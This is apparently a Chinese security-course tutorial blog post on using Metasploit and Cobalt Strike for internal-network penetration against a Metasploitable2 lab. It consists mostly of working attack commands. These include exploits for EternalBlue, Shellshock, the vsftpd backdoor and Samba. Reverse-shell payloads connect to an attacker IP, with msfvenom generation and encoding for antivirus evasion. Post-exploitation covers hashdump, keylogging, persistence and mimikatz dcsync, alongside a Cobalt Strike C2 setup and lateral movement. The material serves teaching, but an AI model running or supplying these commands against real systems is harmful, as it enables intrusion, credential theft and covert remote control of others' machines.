MSF与CS内网渗透实战
马哥教育网络安全课程实战博客 · 第十一篇 对应课程章节:第23章 · 内网渗透神器MSF、CS并进行内网渗透初体验
一、前言
Metasploit Framework(MSF)和Cobalt Strike(CS)是内网渗透中最强大的两大工具。MSF开源免费,拥有海量漏洞利用模块;CS商业授权,以灵活的Beacon通信和团队协作著称。本篇将全面讲解两款工具的使用方法,并在上一篇搭建的靶场环境中进行实战演练。
二、Metasploit Framework(MSF)全面指南
2.1 安装与配置
# Kali Linux已预装MSF,如需在Ubuntu上安装:
# 攻击机 113.47.1.165
# 方式一:官方安装脚本
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/build/scripts/msp_install.sh | bash
# 方式二:apt安装(Kali/Ubuntu)
sudo apt update
sudo apt install -y metasploit-framework
# 初始化数据库
sudo msfdb init
# 启动MSF控制台
msfconsole
# 检查版本
msfconsole -q -x 'version; exit'
数据库配置:
# 配置PostgreSQL数据库
sudo systemctl enable --now postgresql
sudo -u postgres createuser msf -S -R -P
sudo -u postgres createdb -O msf msf_database
# 编辑MSF数据库配置
cat > /usr/share/metasploit-framework/config/database.yml << 'EOF'
production:
adapter: postgresql
database: msf_database
username: msf
password: msf_password
host: localhost
port: 5432
EOF
# 在MSF中连接数据库
msf6 > db_connect msf:msf_password@127.0.0.1/msf_database
msf6 > db_status
2.2 核心命令详解
# === 基础命令 ===
msf6 > help # 查看帮助
msf6 > version # 查看版本
msf6 > banner # 显示banner
# === 模块搜索 ===
msf6 > search eternalblue # 按名称搜索
msf6 > search type:exploit # 按类型搜索
msf6 > search name:ssh # 按名称搜索
msf6 > search cve:2017-0144 # 按CVE编号搜索
msf6 > search rank:great # 按评级搜索
# === 模块使用 ===
msf6 > use exploit/windows/smb/ms17_010_eternalblue # 选择模块
msf6 (exploit/...) > info # 查看模块信息
msf6 (exploit/...) > show options # 查看选项
msf6 (exploit/...) > show payloads # 查看可用payload
msf6 (exploit/...) > show targets # 查看目标
# === 参数设置 ===
msf6 (exploit/...) > set RHOSTS 113.44.137.250 # 设置目标IP
msf6 (exploit/...) > set RPORT 445 # 设置目标端口
msf6 (exploit/...) > set LHOST 113.47.1.165 # 设置本地IP
msf6 (exploit/...) > set LPORT 4444 # 设置本地端口
msf6 (exploit/...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
# === 执行与会话管理 ===
msf6 (exploit/...) > exploit # 执行攻击
msf6 (exploit/...) > run -j # 后台执行
msf6 > sessions -l # 列出所有会话
msf6 > sessions -i 1 # 进入会话1
msf6 > sessions -k 1 # 关闭会话1
msf6 > sessions -K # 关闭所有会话
# === 工作区管理 ===
msf6 > workspace -a magedu # 添加工作区
msf6 > workspace magedu # 切换工作区
msf6 > db_nmap -sV 113.44.174.47 # 扫描并入库
msf6 > hosts # 查看主机
msf6 > services # 查看服务
msf6 > vulns # 查看漏洞
2.3 常见漏洞利用实战
EternalBlue(MS17-010)
# 永恒之蓝漏洞利用 - 针对Windows SMB服务
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 113.44.137.250
msf6 > set LHOST 113.47.1.165
msf6 > set LPORT 4444
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > exploit
# 成功后获得Meterpreter会话
meterpreter > sysinfo
meterpreter > getuid
Shellshock(CVE-2014-6271)
# Shellshock漏洞利用 - 针对Apache CGI
msf6 > use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf6 > set RHOSTS 113.44.174.47
msf6 > set RPORT 80
msf6 > set TARGETURI /cgi-bin/vulnerable
msf6 > set LHOST 113.47.1.165
msf6 > set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf6 > exploit
vsftpd后门(CVE-2011-2523)
# vsftpd 2.3.4后门漏洞 - Metasploitable2经典漏洞
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 113.44.137.250
msf6 > set RPORT 21
msf6 > exploit
# 获得root shell
whoami # root
2.4 Meterpreter后渗透操作
# === 基础信息收集 ===
meterpreter > sysinfo # 系统信息
meterpreter > getuid # 当前用户
meterpreter > getpid # 当前进程
meterpreter > getsystem # 尝试提权到SYSTEM
meterpreter > getprivs # 查看当前权限
# === 文件操作 ===
meterpreter > pwd # 当前目录
meterpreter > ls # 列出文件
meterpreter > cd /tmp # 切换目录
meterpreter > download /etc/passwd # 下载文件
meterpreter > upload tool.exe C:\\Windows\\Temp\\ # 上传文件
meterpreter > cat /etc/shadow # 查看文件内容
meterpreter > edit /etc/hosts # 编辑文件
# === 进程操作 ===
meterpreter > ps # 列出进程
meterpreter > migrate 1234 # 迁移到指定进程
meterpreter > kill 5678 # 杀死进程
meterpreter > execute -f cmd.exe -i -H # 执行命令
# === 网络信息 ===
meterpreter > ifconfig # 网络接口
meterpreter > route # 路由表
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.2 # 端口转发
meterpreter > portfwd list # 查看端口转发
meterpreter > portfwd delete -l 8080 # 删除端口转发
# === 凭据收集 ===
meterpreter > hashdump # 导出密码哈希
meterpreter > run post/multi/gather/ssh_creds # 收集SSH凭据
meterpreter > run post/linux/gather/hashdump # Linux哈希导出
# === 屏幕与键盘 ===
meterpreter > screenshot # 截屏
meterpreter > keyscan_start # 开始键盘记录
meterpreter > keyscan_dump # 导出键盘记录
meterpreter > keyscan_stop # 停止键盘记录
# === 持久化 ===
meterpreter > persistence -X -i 60 -p 4444 -r 113.47.1.165
2.5 MSF路由与代理(Pivoting)
# === 添加内网路由 ===
# 在已获得的session上添加路由,使MSF可以访问内网
msf6 > sessions -l # 查看已有会话
msf6 > route add 10.0.0.0 255.255.255.0 1 # 通过session 1访问10.0.0.0/24
msf6 > route print # 查看路由表
# === SOCKS代理 ===
msf6 > use auxiliary/server/socks_proxy
msf6 > set VERSION 4a
msf6 > set AUTH true
msf6 > set USERNAME proxy
msf6 > set PASSWORD proxy123
msf6 > run -j
# 配置proxychains
# 编辑 /etc/proxychains4.conf
# socks4 127.0.0.1 1080
# 通过代理访问内网
proxychains nmap -sT -p 445 10.0.0.2
proxychains curl http://10.0.0.2/
2.6 Payload生成(msfvenom)
# === 常用Payload生成 ===
# Windows反向连接Meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=113.47.1.165 LPORT=4444 -f exe -o shell.exe
# Linux反向连接Meterpreter
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=113.47.1.165 LPORT=4444 -f elf -o shell.elf
# Python Payload
msfvenom -p python/meterpreter/reverse_tcp \
LHOST=113.47.1.165 LPORT=4444 -f raw -o shell.py
# PHP Payload
msfvenom -p php/meterpreter/reverse_tcp \
LHOST=113.47.1.165 LPORT=4444 -f raw -o shell.php
# Shellcode(C格式)
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST=113.47.1.165 LPORT=4444 -f c -o shellcode.c
# === 编码与免杀 ===
# 单次编码
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=113.47.1.165 LPORT=4444 \
-e x86/shikata_ga_nai -f exe -o encoded.exe
# 多次编码
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=113.47.1.165 LPORT=4444 \
-e x86/shikata_ga_nai -i 5 \
-f exe -o multi_encoded.exe
# 指定架构和平台
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=113.47.1.165 LPORT=4444 \
--platform windows -a x64 \
-f exe -o payload.exe
三、Cobalt Strike(CS)指南
3.1 架构与团队服务器搭建
# CS架构:Team Server + Client
# Team Server:管理Beacon,提供HTTP/HTTPS/DNS监听
# Client:图形化操作界面,可多人协作
# 启动Team Server(在攻击机 113.47.1.165 上)
# 需要Java环境
sudo apt install -y default-jdk
# 启动团队服务器
./teamserver 113.47.1.165 magedu_password
# 参数说明:
# 113.47.1.165 - 团队服务器IP
# magedu_password - 团队连接密码
# 客户端连接
./cobaltstrike # 然后输入IP、端口(50050)、用户名、密码
3.2 Beacon类型与通信
CS的核心是Beacon(信标),支持多种通信模式:
| Beacon类型 | 通信方式 | 特点 | 适用场景 |
|---|---|---|---|
| HTTP/HTTPS | HTTP协议 | 融入正常流量 | 穿越防火墙 |
| DNS | DNS隧道 | 隐蔽性强 | 严格出网限制 |
| SMB | 命名管道 | 内网横向 | 跳板机转发 |
| TCP | TCP绑定 | 内网转发 | 端口转发 |
# 在CS控制台中配置监听器
# HTTP Beacon监听
beacon> listeners
beacon> listeners add
Name: http_listener
Type: Beacon HTTP
Host: 113.47.1.165
Port: 8080
Profile: default
# HTTPS Beacon监听(需要证书)
beacon> listeners add
Name: https_listener
Type: Beacon HTTPS
Host: 113.47.1.165
Port: 443
Profile: default
# DNS Beacon监听
beacon> listeners add
Name: dns_listener
Type: Beacon DNS
Host: c2.magedu.com
Port: 53
3.3 常用命令与模块
# === Beacon基础命令 ===
help # 查看帮助
sleep 60 # 设置睡眠时间(秒)
sleep 60 20 # 睡眠60秒,抖动20%
jitter 20 # 设置抖动20%
checkin # 立即回连
# === 执行命令 ===
shell whoami # 执行cmd命令
shell ipconfig /all # 查看网络配置
powershell Get-Process # 执行PowerShell命令
execute-assembly C:\tool.exe # 执行.NET程序集
# === 文件操作 ===
cd C:\Windows\Temp # 切换目录
ls # 列出文件
mkdir magedu # 创建目录
upload /path/to/tool.exe # 上传文件
download C:\secret.txt # 下载文件
# === 信息收集 ===
ps # 进程列表
net view # 查看网络共享
net computers # 查看域计算机
net dclist # 查看域控列表
ipconfig # 网络配置
# === 横向移动 ===
jump psexec 10.0.0.2 magedu # PsExec横向
jump winrm 10.0.0.3 magedu # WinRM横向
jump psexec_psh 10.0.0.4 magedu # PsExec PowerShell版
# === 凭据操作 ===
run mimikatz # 运行mimikatz
mimikatz sekurlsa::logonpasswords # 导出登录密码
mimikatz lsadump::dcsync /domain:magedu.local /user:Administrator
# === 代理与转发 ===
socks 1080 # 开启SOCKS代理
rportfwd 8080 10.0.0.2 80 # 端口转发
3.4 Aggressor脚本
Aggressor脚本使用Sleep语言扩展CS功能:
// aggressor脚本示例:自动化信息收集
sub collect_info {
binput($1, "信息收集脚本");
bshell($1, "whoami");
bshell($1, "ipconfig /all");
bshell($1, "net user");
bshell($1, "net localgroup administrators");
bshell($1, "systeminfo");
bshell($1, "tasklist /svc");
}
command("collect", "自动化信息收集");
on command_collect {
foreach $beacon (beacons()) {
collect_info($beacon);
}
}
// 自动化提权脚本
command("auto_privesc", "自动提权");
on command_auto_privesc {
foreach $beacon (beacons()) {
binput($beacon, "自动提权流程");
btask($beacon, "尝试UAC绕过");
btask($beacon, "尝试服务提权");
btask($beacon, "尝试令牌窃取");
}
}
3.5 CS代理与内网穿透
# === SOCKS代理 ===
# 在已上线的Beacon上开启SOCKS代理
beacon> socks 1080
# 配置proxychains使用CS代理
# 编辑 /etc/proxychains4.conf
# socks5 127.0.0.1 1080
# 通过代理扫描内网
proxychains nmap -sT -p 445,3389 10.0.0.0/24
# === 管道转发(Pivot) ===
# 将内网流量通过Beacon转发
beacon> rportfwd 8080 10.0.0.2 80
# 将本地8080端口流量转发到内网10.0.0.2的80端口
# === SMB Beacon内网横向 ===
# 在跳板机上创建SMB Beacon
beacon> connect 10.0.0.3
# 适合无出网的内网主机横向
四、实战演练:利用MSF攻击Metasploitable2
4.1 环境确认
# 攻击机: 113.47.1.165
# 目标机: 113.44.137.250 (Metasploitable2)
# 第一步:端口扫描确认目标服务
nmap -sV -p 21,22,23,25,53,80,111,139,445,1524,3306,5432,5900,8080 \
113.44.137.250
# 预期输出:
# 21/tcp open ftp vsftpd 2.3.4
# 22/tcp open ssh OpenSSH 4.7p1
# 23/tcp open telnet Linux telnetd
# 25/tcp open smtp Postfix smtpd
# 80/tcp open http Apache httpd 2.2.8
# 445/tcp open netbios Samba smbd 3.X
# 3306/tcp open mysql MySQL 5.0.51a
# ...
4.2 利用vsftpd后门获取Shell
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 113.44.137.250
msf6 > exploit
# 获得root shell
id
# uid=0(root) gid=0(root)
# 收集信息
cat /etc/passwd
cat /etc/shadow
4.3 利用SSH弱口令
# 使用MSF辅助模块爆破SSH
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 > set RHOSTS 113.44.137.250
msf6 > set USERNAME msfadmin
msf6 > set PASSWORD msfadmin
msf6 > set STOP_ON_SUCCESS true
msf6 > run
# 成功登录后获得会话
msf6 > sessions -l
msf6 > sessions -i 1
4.4 利用Samba漏洞
# usermap_script漏洞(CVE-2007-2447)
msf6 > use exploit/multi/samba/usermap_script
msf6 > set RHOSTS 113.44.137.250
msf6 > set RPORT 139
msf6 > set PAYLOAD cmd/unix/reverse
msf6 > set LHOST 113.47.1.165
msf6 > set LPORT 4444
msf6 > exploit
# 获得命令行shell
whoami # root
4.5 后渗透信息收集
# 在获得的session上进行后渗透
msf6 > sessions -i 1
# 如果是Meterpreter会话
meterpreter > sysinfo
meterpreter > ifconfig
meterpreter > route
meterpreter > cat /etc/shadow
meterpreter > hashdump
# 查找敏感文件
meterpreter > shell
find / -name "*.conf" -type f 2>/dev/null
find / -name "id_rsa" -type f 2>/dev/null
find / -name "*.pem" -type f 2>/dev/null
# 检查计划任务
cat /etc/crontab
ls -la /etc/cron.*
# 检查SUID文件
find / -perm -4000 -type f 2>/dev/null
4.6 横向移动到其他靶机
# 从已攻陷的113.44.137.250扫描内网
meterpreter > shell
# 安装扫描工具
apt-get install -y nmap 2>/dev/null || curl -o nmap_static https://nmap.org/dist/nmap-7.92.tgz
# 扫描其他靶机
nmap -sT -p 22,80,445,3306 113.44.174.47
nmap -sT -p 22,80,445,3306 119.3.169.5
# 添加路由使MSF可以访问
# 回到MSF控制台
msf6 > background
msf6 > route add 113.44.174.0 255.255.255.0 1
msf6 > route add 119.3.169.0 255.255.255.0 1
# 通过跳板机攻击其他目标
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 > set RHOSTS 113.44.174.47
msf6 > set USERNAME ubuntu
msf6 > set PASSWORD ubuntu
msf6 > run
五、MSF与CS对比总结
| 特性 | MSF | CS |
|---|---|---|
| 授权方式 | 开源免费 | 商业授权 |
| 漏洞模块 | 1500+ exploit | 依赖外部导入 |
| 通信协议 | TCP/HTTP | HTTP/HTTPS/DNS/SMB |
| 团队协作 | 有限支持 | 原生支持 |
| 图形界面 | Armitage(过时) | 原生GUI |
| 后渗透 | Meterpreter | Beacon + Aggressor |
| 免杀能力 | 基础编码 | 较强(Artifact Kit) |
| 适用场景 | 漏洞利用 | 长期控制/红队 |
六、总结
本篇全面讲解了内网渗透两大神器:
- MSF:从安装配置到核心命令,从漏洞利用到后渗透操作,掌握了Meterpreter的完整使用流程和Pivoting技术
- CS:理解了Beacon通信架构,学会了团队服务器搭建、监听配置、横向移动和Aggressor脚本扩展
- 实战演练:完整演练了从信息收集到漏洞利用、后渗透、横向移动的全流程
下一篇我们将深入fscan扫描、远控上线、信息搜集、权限提升和免杀技术。
免责声明:本文所有技术内容仅用于授权安全测试和教学目的。未经授权对他人系统进行渗透测试属于违法行为。请在合法授权范围内使用所学技术。